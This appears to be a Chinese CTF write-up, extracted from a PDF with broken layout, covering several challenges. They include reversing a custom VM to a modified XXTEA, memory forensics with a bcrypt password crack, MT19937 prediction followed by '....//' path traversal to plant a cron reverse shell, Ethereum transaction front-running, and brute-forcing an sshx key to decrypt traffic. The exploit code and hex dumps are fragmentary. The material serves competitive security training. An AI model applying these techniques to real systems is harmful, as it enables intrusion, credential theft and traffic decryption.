27      0x14: "LDRI",

28      0x17: "STR",

29      0x18: "STRI",

30      0x2B: "MOV",

31      0x91: "ADD",

32      0x92: "SUB",

33      0x97: "MUL",

34      0xC1: "LSL",

35      0xC3: "LSR",

36      0xCA: "XOR",

37      0xCB: "AND",

38      0xFE: "RET",

39      0xFF: "HLT",

40  } 41

42   func dis(instrSet map[byte]string, bytecode [4]byte) { 43

如果能顺利还原字节码 ,那么这道题的难点就解决了。接下来就是根据可读性更好的汇编来分析加密 算法。 以第⼆个虚拟机执⾏的字节码为例。

其实特征已经相当明显 ,看到

9e3779b9

就已经确定TEA系列 ,继续向下看移位部分 ,是xxtea的特

征。唯⼀魔改的地⽅在于原来标准算法中的左移换成右移 ,右移换成左移。第⼀个虚拟机中算法没有 改动 ,是标准xxtea

字节码虽然看起来很多 ,但基本上是若⼲轮循环的重复。两个vm密钥不同 不过都是在前⼏轮加密中 通过 MOV 指令写⼊缓存 ,所以只需要逆前⼏轮循环 ,找⻬密钥就可以去解密。

1   keyA := int32[4]{0x6e637466, 0x062ef0ed, 0xa78c0b4f, 0x32303234}

2   keyB := int32[4]{0x32303234, 0xd6eb12c3, 0x9f1cf72e, 0x4e435446}

Misc

QRcode Reconstruction

预期解是根据flag明⽂开头的 NCTF{ 补全⼆维码后扫描 根据附件可以把⼆维码补个⼤概出来:

了解⼀下⼆维码的相关知识 ,右下角是mode indicator ,可以⽤QRazyBox⾥的Data Sequence Analysis ⽐较⽅便地查看:

同样⽤QRazyBox⾥的Data masking后可以看到该区域确实为0100 ,⼆维码扫描数据是从右下角开始 的:

结合该⼆维码为binary mode ,可以按照⼋位⼀字节补全右半部分 ,注意mode indicator上⾯⼋位是 数据⻓度 ,可以空着:

补全后⽤QRazyBox⾃带的Reed-Solomon Decoder解出flag

谁动了我的MC

直接⽤strings看⼀下内核版本  当然也可以⽤volbanners插件

1  安装对应版本的内核镜像

2  sudo apt-get install linux-image-5.4.0-205-generic 3

4  安装对应版本的内核头⽂件

5  sudo apt-get install linux-headers-5.4.0-205-generic 6

7  安装对应版本的内核模块

8  sudo apt-get install linux-modules-5.4.0-205-generic 9

10  安装对应版本的驱动

11  sudo apt-get install linux-modules-extra-5.4.0-205-generic 12

13  查看已经安装的内核版本

14   dpkg -l |grep linux-image

查看当前 GRUB 菜单项:

1  grep menuentry /boot/grub/grub.cfg

根据输出确定你想要启动的内核菜单项。假设

Ubuntu, with Linux 5 .4 .0-205-generic

索引是 1>5 ,其中1表⽰

Advanced options for Ubuntu

菜单的索引 5表⽰新内核版本在

Advanced options for Ubuntu

通过修改 GRUB 配置⽂件 ,可以设置默认启动的内核版本:

1  sudo nano /etc/default/grub

找到GRUB_DEFAULT项将其修改为

GRUB_DEFAULT="1>5"

,  更新 GRUB 配置并重启:

1  sudo update-grub

2   sudo reboot

查看当前内核版本:

1  uname -r

⽬录下找到对应内核版本的

System .map-5 .4 .0-205-generic

⽂件

1   apt install build-essential dwarfdump 2

3  cd volatility2/tools/linux 4

5  make 6

7  zip ./Ubuntu-20.04.6-live-server.zip ./module.dwarf /boot/System.map-5.4.0- 205-generic

将制作好的profile放到

volatility2/volatility/plugins/overlays/linux

 ,⽤--info

能查看到就是成功了。

linux_recover_filesystem恢复整个⽂件系统 ,这需要⼀点时间 主要是看

opt/mcsmanager/daemon/data/InstanceData/

以后就可以停下了。

第⼀问要找服务器⾯板的密码 ,在

这个路径下有⼀个json

 ,⾥⾯存储了⾯板的⽤户信息 ,⾥⾯有密码的密⽂

从开头的

$2a$10

可以看出来这是bcrypt ,⽤给的字典爆破⼀下很快就能得到密码明⽂I0am0alone

接下来两问得放⼀起看

可以看出服务器⽤了ftbbackups模组 ,保留了⼗个备份的世界⽅便回档 ,在

opt/mcsmanager/daemon/data/InstanceData/e00336260129441a9b74844d485b2cd

这个路径下 ,挑⼀个能够打开的⽤MC进去看⼀下。版本从其他地⽅很容易就能看出来是

java1.21

不难找到这座房⼦ ,就在出⽣点附近 ,后⾯有⼀格岩浆。 由于在MC ,岩浆会使附近烧起来 ,所以我 们可以推断出岩浆就是起⽕源。

F3查看坐标( Block)是-405,63,132

接下来就是找出是谁放的这桶岩浆  由于volatility恢复出的⽇志不全 前⾯⼀⼤半明显是缺失了

这⾥可以使⽤古法取证 :D

我们知道 ,在MC  当你第⼀次拿起岩浆可以获得⼀个叫

hot stuff

(中⽂: 热腾腾的) 的成

 ,我们直接⽤0101.mem中搜索⼀下就能找到对应的⽤⼾Nathan ,这是预期的解法 ,也应该是最 简单的解法了:)当然也可以去world⽂件夹中找具体的玩家数据等

也许有的师傅会发现Ethan曾经造出过打⽕⽯ ,但显然根据前⾯进世界所见那是个迷惑选项:)

nctf{I0am0alone_Nathan_-405_63_132}

X1crypsc

题⽬完整源码如下:

14   print('[+]But try to beat the monster first:)\n')

15  time.sleep(1)

16   print('[+]Good luck!\n')

17   print('[+]You got a weapon!\n')

18   damage_rng = ()

19  def regenerate_damage():

20       global damage_rng

21       base = getrandbits(16)

22       add = getrandbits(16)

23       damage_rng = (base ,base + add)

24  monster_health = getrandbits(64)

25  menu = '''

26  ---Options---

27   [W]eapon 28   [A]ttack 29   [E]xit   30   '''

31   regenerate_damage()

32   print(menu)

33   HP = 3

34  while True:

35       if monster_health <= 0:

36           print('[+] Victory!!!')

37           break

38       if HP <= 0:

39           print('[!] DEFEAT')

40          exit(0)

41       print(f'[+] Monster current HP:{monster_health}')

42       print(f'[+] Your current HP: {HP}')

43       opt = input('[-] Your option:')

44       if opt == 'W':

45           print(f'[+] Current attack value: {damage_rng[0]} ~ {damage_rng[1]}')

46           if input('[+] Do you want to refresh the attack profile of the

weapon([y/n])?') == 'y':

47               regenerate_damage()

48               print(f'[+] New weapon attack value: {damage_rng[0]} ~

{damage_rng[1]}')

49       elif opt == 'A':

50           print('[+] The monster sensed of an imminent danger and is about to

teleport!!\n')

51           print('[+] Now you have to aim at the monster\'s location to hit

it!\n')

52           print('[+]Input format: x y\n')

53           x,y = map(int,input(f'[-] Provide the grid you\'re willing to

aim:').split())

54           if [x,y] ==  [randrange(2025),randrange(2025)]:

55               dmg = min(int(randint(*damage_rng) ** (Random().random() *

8)),monster_health)

56               print(f'[+] Decent shot! Monster was hevaily damaged! Damage

value = {dmg}')

57               monster_health -= dmg

58          else:

59               print("[+] Your bet didn't pay off, and the monster presented a

counterattack on you!")

60              HP -= 1

61       elif opt == 'E':

62           print('[+] Bye~')

63          exit(0)

64      else:

65           print('[!] Invalid input')

66   print('[+]Well done! You won the game!\n')

67   print('[+]And here is your gift: you got a chance to create a time capsule

here and we\'ll keep it for you forever:)\n')

68   keep_dir = '/app/user_file/'

69  class File:

70      def __init__(self):

71          os.makedirs('user_file', exist_ok=True)

72      def sanitize(self, filename):

73          if filename.startswith('/'):

74               raise ValueError('[!]Invalid filename')

75          else:

76               return filename.replace('../', '')

77      def get_path(self, filename):

78           hashed = hashlib.sha256(filename.encode()).hexdigest()[:8]

79           sanitized = self.sanitize(filename)

80           return os.path.join(keep_dir, hashed, sanitized)

81      def user_input(self):

82          while True:

83               filename = input('[-]Please enter the file name you want to

create: ')

84              data = []

85              while True:

86                   line = input('[-]Now write something into the file (or type

"exit" to finish writing): ')

87                   if line.lower() == 'exit':

88                     break

89                 data.append(line)

90                   another_line = input('[-]Write in another line? [y/n]: ')

91                   if another_line.lower() != 'y':

92                     break

93              try:

94                   path = self.get_path(filename)

95                 os.makedirs(os.path.dirname(path), exist_ok=True)

⼀阶段解析

MT19937的伪随机和线性变换理解。~~做出本题甚⾄不需要你有关于逆MT19937相关的知识~~

核⼼逻辑梳理

打怪的核⼼逻辑:

  怪兽的⾎量是

•  可以⽆限地洗炼武器的属性 ,每次会调⽤

⽣成两个随机数 ,分别作为武器基

础伤害下限、上下限之差

•  怪兽在即将受到攻击时会闪现⾄

(rand range(2025),rand range(2025))

 你需要预判

兽的最终位置

  攻击怪兽时会⽤全局的

从武器的基础伤害中随机取值 ,并乘以⼀个Random新实例的

(默认转化为0-1间的

float

)  幂数

显然我们的⽬的即为通过不断洗炼武器来收集⾜够多的随机数 ,以预测后⾯的随机数。

Random库相关

Random库的绝⼤多数函数所依赖的函数就是

get randbits

randint

的调⽤链就是

randint

randbelow

_

get randbits

get randbits(n)

•  n = 32 ,则会将MT19937对应下标的状态值

extract

后直接输出;

  n < 32 ,则会

get randbits(32)

的结果截断后输出( ⾼位优先 ,如

0x12345678

会被截断为

0x1234

)  ;

  n > 32 ,则会多次调⽤

,  按后⼀次输出的结果在⾼位拼凑⽽成。

确实是两个

拼接⽽成 ,但后者并不是两个

拼接⽽成 ,即

get randbits(32)

是每次

的最⼩单元。

伪随机逆向之没有MT19937MT19937

⼴义上来说 MT19937的系统的状态构成就是624*32=19968个⼆进制位 ,或者 Z2 下的⼀个维度为 19968的向量。

MT19937的所有变换都是线性的 意即 MT19937的所有⽅法  (

init   

__

twist

extract

)  都可以视为⼀个既有向量(或其⼀部分)和⼀个矩阵在

Z2 下做乘法的结果。

相对地 ,⾮线性变换则指不能被表⽰成矩阵乘法的⼀种变换。

作为参考 AES ShiftRowsMixColumns这两种操作都是线性变换 ,起到扩散(Diffusion)的作 ⽤; SubBytes则是典型的⾮线性变换 ,起到混淆(Confusion)的作⽤ 

认识到线性变换这⼀特性的作⽤就在于 ,我们可以在不获得连续的19968个状态分量(传统的 MT19937逆向) 的情况下依然能够预测随机数。

假设存在 Z2 下的⼀个初始向量 v19968 ,其中每⼀个维度都是MT19937的初始状态(62432位数展 开⽽得 经过“ 某种”变换(任意次数的状态旋转、提取、截取等等)  由输出位经过特定⽅式

排列的结果是结果向量 v  = v  M 

v19968

。由于这种变换是线性的 ,因此存在⼀个19968*19968的矩阵 M ,满⾜

此时只需要找到这个变换矩阵 M ,即可通过 v ′  反推出 v

⽽在上述执⾏的变换确定的情况下 ,通过打⿊盒即可确定 M。具体地 ,构造⼀个全零的、 19968维的向

 v ,依次让第

i  位为1 ,每次执⾏和题⽬相同的变换(重复

get randbits

操作) 并记录结果 ,获

得的19968个⼆进制位即为 M 的第 i  ⾏。

M 构造完成后再和题⽬交互 ,得到向量后直接

solve_left

就可以得到MT19937的初始状态;将之

代⼊ Random 的新实例中 ,和题⽬以相同的⽅式运⾏⼀遍 ,即可来到和交互环境中的MT19937相同的

状态。随后将本地和远程的PRNG同步 即可开挂把怪打掉。

这个矩阵 M 19968*19968 ,构造之⾮常耗时和烧内存  由于该矩阵是确定的 ,因此建议只构   造⼀次并将之存储起来 ,需要重新打/debug时再加载;可能需要虚拟内存(否则Windows下挂WSL sage可能会崩)

⼀阶段exp

28   n1 = int(io.recvuntil(b'~',drop=True).strip().decode())

29   n2 = int(io.recvline().strip().decode()) - n1

30  whatls.extend(int(i) for i in bin(n1)[2:].zfill(16))

31  whatls.extend(int(i) for i in bin(n2)[2:].zfill(16))

32

33   for _ in range(620):

34       io.sendlineafter(b'option:',b'W')

35       io.sendlineafter(b'?',b'y')

36       io.recvuntil(b':')

37       n1 = int(io.recvuntil(b'~',drop=True).strip().decode())

38       n2 = int(io.recvline().strip().decode()) - n1

39      whatls.extend(int(i) for i in bin(n1)[2:].zfill(16))

40      whatls.extend(int(i) for i in bin(n2)[2:].zfill(16))

41

42  weapon_data =

[int(''.join(map(str,whatls[-32:-16])),2),int(''.join(map(str,whatls[-16:])),2

)]

43  weapon_data[1] += weapon_data[0]

44

45   '''

46   # map a linear transformation matrix

47   # compute for first time only, afterwards comment this section for memory &

time conservation

48  mt = [] 49

50   for i in range(19968):

51      f_stats = [0] * 19968

52       f_stats[i] = 1

53

54       state = [int(''.join(map(str,f_stats[i*32:(i+1)*32])),2) for i in

range(624)]

55

56      r = Random()

57       r.setstate((3,tuple(state+[624]),None))

58

59      vc = []

60      vc.extend(int(i) for i in bin(r.getrandbits(64))[2:].zfill(64))

61       for _ in range(622): # 624 - 2 = 622

62           vc.extend(int(i) for i in bin(getrandbits(16))[2:].zfill(16))

63           vc.extend(int(i) for i in bin(getrandbits(16))[2:].zfill(16)) 64

65      mt.append(vc) 66

67  save(mt,'mt.sobj') 68   '''

69

70   t0 = time()

⼆阶段

成功进⼊第⼆阶段 ,这部分在题⽬中没有给出源码

其实经过简单尝试就能发现 ,这⾥只是过滤了../⽽且要求⽂件名不能以/开头 ,我们通过双写  . . . .// 就能绕过做到⽬录穿越。这⾥我们可以向定时任务写⼊反弹shell的命令。但是有⼀点要注意的是 ,定  时任务的命令结尾必须以换⾏符结束 ,可以参考这篇⽂章Linux的crontab无法执行的一些问题 | 杂烩饭 因此  我们在输⼊内容后要记得再换⼀下⾏ ,输⼊⼀个空格(什么都不写是换不成功的)。

其实也可以直接去改task.py ,但这⾥就展⽰⼀下定时任务的做法了

flag在题⽬进程的环境变量⾥

x1guessgame & x1guessgame_revenge

合约本⾝没有问题 ,只是普通的hash ,但是这⾥check winner的⽅法是由部署⼈去带着答案claim  ,相当于回收⾥⾯的10eth ,并且anvil设置成了每五秒⾃动挖⼀个块 ,所以这⾥就可以抢跑 ,监听

check winner的交易之后就以更⾼的gasfee发布⼀样的交易 ,达到抢跑的⽬的 ,⽤ web3py很好写 exp

x1sshx

根据题⽬名可以知道这是sshx的流量 ,后⾯就是读源码的环节 ,感兴趣的可以⾃⼰去看⼀看

根据源码可知 sshx会将session以快照形式存储在redis ,默认端⼝12601 ,于是就可以在流量⾥找 到这⼀部分 ,在tcp.stream eq 15

通过crates/sshx-server/src/session/snapshot.rs可以得知其实就是个proto buf序列化后再zstd压缩, 很容易就可以还原 ,先把crates/sshx-core/proto/sshx.proto转换成python格式

1   protoc --python_out=. sshx.proto

然后直接解码就可以了

25

26      # 打印每个  shell 的信息

27       for sid, shell in session.shells.items():

28           print(f"\nShell ID: {sid}")

29           print(f"序列号 : {shell.seqnum}")

30           print(f"数据⻓度 : {len(shell.data)} 字节")

31           print(f"块偏移 : {shell.chunk_offset}")

32           print(f"字节偏移 : {shell.byte_offset}")

33           print(f"是否关闭 : {shell.closed}")

34           print(

35               f"窗⼝⼤⼩ : {shell.winsize_x}x{shell.winsize_y}

({shell.winsize_rows} ⾏  x {shell.winsize_cols} )")

36

37

38  # ⽰例调⽤

39   if    name   == "   main   ":

40      # ⽰例输⼊(替换为你的实际⼗六进制数据)

41       hex_data =

"28b52ffd60fa0fd187000a1057c23b95e820aa7e89b41317cc2a590612c321080112be2108cc1

f1268ca2c32c479c6df12cd887c1b7d4b5aa374ed777ceb634b1f6c46bdc34a727699a44bf7a79

3b3ab9125a73690bec641705ffe82c1afb71de3e460a27ee99985960e6b9bddb5cfaa001d4eb99

f03c718a95246be836eaab7bf7dab027d26b93685c165785b458c1742122bf40566d3d4bf11b04

dc86246743a4e3f322cedfbecdac2289b8114837f023fa3eff407ab71f1aa7ca04b41120eb0a7d

c7564f197befdf3ba69ed55123d72253e5d2d9bf25af527f3930287e4512df3125026d87b3ef6f

2e642a53404e332f55e1083b0b21d77cc8445d40ccd9b60ea33a977edb03a6abb3c342f129201e

2db1a8d4653693ec3a527959a866471fddd229dd5112fb730894cbbdd89895933524c6afd2dea7

fe145826e547a053f0c37ef10d65e81a07e30f143233cf24b32edbaf42af37f6517f8aef8cf805

b52bd29953499ef94b5684ff4bcfc6d159afae5d005613b9e0827c0d1e7fc5a9a80cb737410568

29f9584295674e5bb86349809ffaa25ebbcc355e5ad7ba482f0f537be120749c76f491ebd78120

8dbf39a0c92809d2b1201ba1214fee3cb29e1c36652655dc6d351ef6a0867321ba212ae0152aa8

846ef65de51f6508888441d22ff0a911df03403fd203c1a34ba8a8bb4d4d033dfb926da02f9b5b

321611e4f9f829c95893c75b21e4d183e281d9a7a2019f1cf50f8e26549be9ce3e758101026543

8b47264b1c83f55551a4ccd98d330b34694ce347f03e249615abdfc2fe9c5c4e1097d094f5364a

048f399a72feeda58c6f450a4a9327867230809d6d987294fa16dc00d1fc0fe36ce08c2bc2e399

31777a7635be6694772a1082ff4169412307ce25e33fcc1e2f90642e6834ef6aedabb4461638f6

64cc73cba934610a1cd5c0e79a8c592cf146c523361308fe28b9e121bb5f32c4f885a631059094

3aa237293a20b17bf78ceb503ff92c5ca121b76d7be6383ed71258c165b2d3691afe5e05aa4c9d

fad302b4727141219a6e831acb785fe749ca2bdbc3dbd1603b2442bad1b6326f0a1121a5baf03b

d01bed01c41a67821e7f8ad51f7aa3306b2a73316cc4712470c3640c4187a0607b03ae5a379eab

35d939eb35ee01140e58d2e7338ccf0979ccc168553f05e627399eb886c79f2b3d29571327eaf1

108660142e19de5d45a51f77fdf175bb8f0120b93308599b7cef589bf0cad12106cb9a4d23a025

0864fdcc659ee8e01ff12157460f415bb95bb9f1a18f3f00f2dbc720a9e1111531215dcecadc89

5aca4d253df358867d660ad6bb8d34d7512159849467f9e2bd820f823cfe422319bd006dc8ae53

9120793ee2fcd84b0a512083f94b75b07c7ce01120513e69726cb12131ae05c668b9aea3b1c2f9

b05f8623f88a1282c126829a82b7b011a7539e878bbfc1394ad90d00a46a0652ff83f8b838ae70

ec7947ac34ce60e17277b39d3e64c971c12fcf05dbd2088bd56759c1cf92f9d1ef33b8549a0dab

3eaee2afd714da4a3cafc0ce9e454615929531a7637ad5bcbde154ac0b605c61277ef705512438

07f0fd689b10df4a3406b110b1cf3b541ccdb54e18c9be8f7bf29753751631400918312b0fac2a

7fe3e17a338d774d10d0dce2a4f7293dd06aa7383db5c08221a226e12428ace01a50c547cdb54a

16d9503d35e1da9b8da121d2ace6f2694a5410c0a22ecb47a1b4b24ee18025f1788971d8e0539f

d03d14737990d4f4359fa81b354fe772aad129401bc987d15e37709195e9a5d4c7aacffdc99e87

167cd048f07fe501873894033fade93fd3fe690e35589ad191cf61930ae3469c99e9eaddde3c7b

3c77aa70df05abc390186eba45fe72b0188188c719e34c15661af385f5ee3d651939898a1e745d

c4484c4fdc637217dbc7ed8dd49b0ad8901f00fd57cf182236f58a58b1ee8d3cd38bdb84a43da2

056e688ed417712a7a1df0d041203957dfe12079a5d5f285653e01208965b31c1cdae032a12012

0120c8b81596cec473bd604c3186a121a9fb8f80384a301188fd784ee0bc0963636341e1219ffb

fc12c011212ed0eaf29fd89247abb9c32c6bce65677b0e5120787ba58455b4a96120739d7bd903

0c5141208e26cc91086d98ca212033ca0b8120a70998fc3e7c63babe2ee120779290ee1a9e9de1

20aca7ab4b50b42bab90e2c12688554f733aa90a10e60332e13b84bd2782b3ebe077a49dc6f81f

6dd17a4721f0a23cdd3f2028ecc86a617b7f2e1e29a66beaa73da730d6532b622e0f0d85115bbb

4010ba53c2ae9115d278f5053959cccbae54486d1fadba8d08074edd6cd541e94d317adf7ba247

312436a21a727456f9be3990c9f2e7cab2dbc10185ec4e5e44a45c6255d6d03ffb09df5aca8004

5812cfff52e6955e53a91c11438c4f767591b617ecedcc59c2f8c25adaf1912424e127a7b11b13

e57972b2278a0b12c910ed5ffba746afaccfa69bd949f0a09aab9725e0133b5e3b74668aea7943

f2d62ba307c0e4fc66da1efdc32d65bfe05efc8f4129401ee99cc36fb0196d44c91bee36aa9ebd

479686ca622641e4ff2b0daceeeb7b1dc3f123cccf9b7b4e231c68ec6f9fbbdc39379dacb4aa6f

fce46af3b2a280cfc3c121ede2e148e9d03b0db960be4fb851029f09b6e5658516560a77588813

3a234a4f4805b9cb772f1ae2ea3b5f3a768e37131916f6976a52a2bb93f648dc9fa82a1a838a04

f83ca3f40fdaa1b36f567b457fb049a12030c84ae1207390a9a5da58d141208b0a33ee432b70cd

7120101120c12777218b01718661a5aa1f8122033cade98707d67a10d63f72b22608dd9079479f

56600b266abb361925c0ef2ee1212ba4f016a0e841c218d07116d80826efe9bef121f6537d5230

b52cee385f41bf997e8961219cd8ffc5e4b67521131f7d1899997122970435fe32458e21453d8f

f1c5a766a1e1071ba0c694937885b1d0415b84efefb5dee77f873dbb752a0122635dc24900198a

72a738201f1097966e401f7740e918004414e056c258490ccd440acae79853b121204ebe50754c

67a21bfcb487b69549a26e0bb1235c61e5fc6beb419086a290204780d7c22c3e36b4def890a683

6839a62bda6b1c125fc36c95a4ab6e249b75fe46674607b3615e993e0121e8f437efb1b69f1402

8c500078cdb5cb4c396c2278d968fb6817f4c79a92c121edf804f043c24f9d005d04ed6e668611

c05313616aa90b0ff861cba7f6a35124747a9e22c8d8095ab2f91023ec1657e39333a73725a967

a6624a3f79a355d1a3408551e8636cd6c3f54ad073e0a3c34b8820718b8f24b558722d493a187e

d8bdef3493ab0c3d4aa1207084b59020b5164120831cfe1b012ab225f120306a8211216b3aae6e

206e3027ab9caec143e3c622ef36f98b957d11209e8b6ae48e4ef131ff21268ebbff3231e61e8b

c3b350905430d5aae0cddeb0b9496beab5c8ed3fefecd014e3118462ac12c59c17fcccc81fbe5c

723ecbac5ac01b945f94751e31ff9f10b3ae84e4022ab1cdc181f17e7c1b65970bcd498bad1307

073e1007cc066bbfa5a9e593d9d631d30006b123001906e7150d67dec6ed1f8830813c2295b93b

b70cd224de35ad4a2da7ff9011b65d717330497f727f528c632d2f79c1b1213f6d8cb3d7f5e8bf

97f2206db89eacbdb013d5a12421a5ff84071a72f3334d358d3d1681e34f121ca974cb4554a766

47127422212d497fffb77d69e6beecf920ae1a3d723d30827167f73fd50e5f85c3b5d78f6a67f8

db0129701294655b75ae713564e02fadf72bba54a51c83b5eb07651af566b300942c73f2eed3be

8f145fc37f077afbad7ec8ed9d781a88f212a4f13bf332a45c7f84a56f9af736258ab9c66a0539

d3b0320d4e3adb5ba6bdd4e8cb0ad17fe0b26654fcff96ede74c38741810496a80ca63bb85e261

7c83bb030589d7847cdd9f2ad8b41b5833f755688c088143ea7d3e819d95837fb6799d0fadb531

20751a512feea3a211208761039f8680c527f1201311214a9acc9ad6a6054b047cfa825a7b9fbd

13b843c66122ac00887db14d7e2cbdc1bc4bd4f9f0ed4e4492e1da776b328a4687d8ccfc9ba145

323d9df49bd55aae76e124156f8ffc8fd7329366deba56ef3e3c8fff1cb4234ea3d665bf1a2c2b

就可以得到其中储存的加密零值 ,即使⽤key和全0iv加密的全0数据

1  加密零值 : 57c23b95e820aa7e89b41317cc2a5906

然后就可以根据crates/sshx/src/encrypt.rs中的加密⽅式爆破出完整密钥

1   from binascii import hexlify

2   import argon2

3   from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

4   from cryptography.hazmat.backends import default_backend

5   import string

6

7   key_prefix = b"4ZF1SFqBlIUma"

8   salt = b"This is a non-random salt for sshx.io, since we want to stretch the

security of 83-bit keys!"

9  time_cost = 2

10   memory_cost = 19 * 1024

11   parallelism = 1

12   hash_len = 16

13

14   for i in string.printable:

15       key = key_prefix + i.encode()

16       raw_hash = argon2.low_level.hash_secret_raw(

17          secret=key,

18          salt=salt,

19          time_cost=time_cost,

20          memory_cost=memory_cost,

21          parallelism=parallelism,

22          hash_len=hash_len,

23          type=argon2.low_level.Type.ID 24       )

25

26       iv = bytes([0] * 16) 27

28       plaintext = bytes([0] * 16) 29

30       cipher = Cipher(

31          algorithms.AES(raw_hash),

32          modes.CTR(iv),

33           backend=default_backend()

34       )

35

36       encryptor = cipher.encryptor()

37       ciphertext = encryptor.update(plaintext) + encryptor.finalize()

38

39      if ciphertext.hex() == "57c23b95e820aa7e89b41317cc2a5906":

40           print(key.decode())

然后就可以直接解密流量了 ,加密流量通过webso ket传输 ,在tcp.stream eq 53 ,消息是cbor2序列 化的 ,直接解就⾏了

1   import cbor2

2   import os

3   import sys

4   from Crypto.Cipher import AES

5   from Crypto.Util import Counter

6

7   all = """

8  a16568656c6c6f8201781c7a7973676d7a62407a7973676d7a6264654d6163426f6f6b2d50726f

9  b900016c61757468656e746963617465825057c23b95e820aa7e89b41317cc2a59065057c23b95

e820aa7e89b41317cc2a5906

10   b90001677365744e616d65677a7973676d7a62

11   b90001677365744e616d65677a7973676d7a62

12  a1657573657273818201a4646e616d656655736572203166637572736f72f665666f637573f668

63616e5772697465f5

13  a1667368656c6c7380

14  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72f665666f6375

73f66863616e5772697465f5

15  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72f665666f6375

73f66863616e5772697465f5

16   b9000169736574437572736f72821901733867

17  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901733867

65666f637573f66863616e5772697465f5

18   b9000169736574437572736f72821901773841

19  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901773841

65666f637573f66863616e5772697465f5

20  a16c7368656c6c4c6174656e637900

21  b9000169736574437572736f72821901733832

22  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901733832

65666f637573f66863616e5772697465f5

23  b9000169736574437572736f72821901733832

24  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901733832

65666f637573f66863616e5772697465f5

25  b9000169736574437572736f72821901753843

26  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901753843

65666f637573f66863616e5772697465f5

27  b9000169736574437572736f72821901743844

28  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901743844

65666f637573f66863616e5772697465f5

29  b9000169736574437572736f72821901743845

30  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901743845

65666f637573f66863616e5772697465f5

31  b9000169736574437572736f72821901743845

32  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901743845

65666f637573f66863616e5772697465f5

33  b9000169736574437572736f7282190174384b

34  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282190174384b

65666f637573f66863616e5772697465f5

35  b900016470696e671b0000019594c14b1a

36  a164706f6e671b0000019594c14b1a

37  b9000169736574437572736f7282190174385d

38  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282190174385d

65666f637573f66863616e5772697465f5

39  b9000169736574437572736f72821901743872

40  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901743872

65666f637573f66863616e5772697465f5

41  b9000169736574437572736f7282190175387f

42  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282190175387f

65666f637573f66863616e5772697465f5

43  b9000169736574437572736f72821901773886

44  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901773886

65666f637573f66863616e5772697465f5

45  b9000169736574437572736f72821901773888

46  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901773888

65666f637573f66863616e5772697465f5

47  a16c7368656c6c4c6174656e637901

48  b9000169736574437572736f72821901773888

49  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901773888

65666f637573f66863616e5772697465f5

50  b9000166637265617465820000

51  a1667368656c6c73818201a461780061790064726f7773181864636f6c731850

52  b9000169737562736372696265820100

53  b900016470696e671b0000019594c152f2

54  a164706f6e671b0000019594c152f2

55  b9000169736574437572736f72821901773887

56  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901773887

65666f637573f66863616e5772697465f5

57  b9000169736574437572736f728219015d3839

58  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219015d3839

65666f637573f66863616e5772697465f5

59  b9000169736574437572736f728219014507

60  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901450765

666f637573f66863616e5772697465f5

61  a16c7368656c6c4c6174656e637901

62  a1666368756e6b73830100815868ca2c32c479c6df12cd887c1b7d4b5aa374ed777ceb634b1f6c

46bdc34a727699a44bf7a793b3ab9125a73690bec641705ffe82c1afb71de3e460a27ee9998596

0e6b9bddb5cfaa001d4eb99f03c718a95246be836eaab7bf7dab027d26b93685c165785b458c17

42

63  a1666368756e6b738301186881582bf40566d3d4bf11b04dc86246743a4e3f322cedfbecdac228

9b8114837f023fa3eff407ab71f1aa7ca04b41

64  a1666368756e6b7383011893814eb0a7dc7564f197befdf3ba69ed55

65  a1666368756e6b73830118a181583d72253e5d2d9bf25af527f3930287e4512df3125026d87b3e

f6f2e642a53404e332f55e1083b0b21d77cc8445d40ccd9b60ea33a977edb03a6abb3c342f

66  b9000169736574437572736f72821901331847

67  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901331847

65666f637573f66863616e5772697465f5

68  a1666368756e6b73830118de825892e2db1a8d4653693ec3a527959a866471fddd229dd5112fb7

30894cbbdd89895933524c6afd2dea7fe145826e547a053f0c37ef10d65e81a07e30f143233cf2

4b32edbaf42af37f6517f8aef8cf805b52bd29953499ef94b5684ff4bcfc6d159afae5d005613b

9e0827c0d1e7fc5a9a80cb73741056829f9584295674e5bb86349809ffaa25ebbcc355e5ad7ba4

82f0f537be4749c76f491ebd78

69  a1666368756e6b7383011901778148dbf39a0c92809d2b

70  b9000169736574437572736f728219012f1863

71  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219012f1863

65666f637573f66863616e5772697465f5

72  b9000169736574437572736f728219012f1866

73  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219012f1866

65666f637573f66863616e5772697465f5

74  b9000169736574437572736f728219012f1866

75  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219012f1866

65666f637573f66863616e5772697465f5

76  b9000169736574437572736f728219012f1866

77  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219012f1866

65666f637573f66863616e5772697465f5

78  b9000169736574437572736f7282190131186e

79  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282190131186e

65666f637573f66863616e5772697465f5

80  b9000169736574437572736f72821901301872

81  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901301872

65666f637573f66863616e5772697465f5

82  b9000169736574437572736f72821901301874

83  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901301874

65666f637573f66863616e5772697465f5

84   b90001646d6f76658201f6

85  a1667368656c6c73818201a461780061790064726f7773181864636f6c731850

86   b9000168736574466f63757301

87  a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901301874

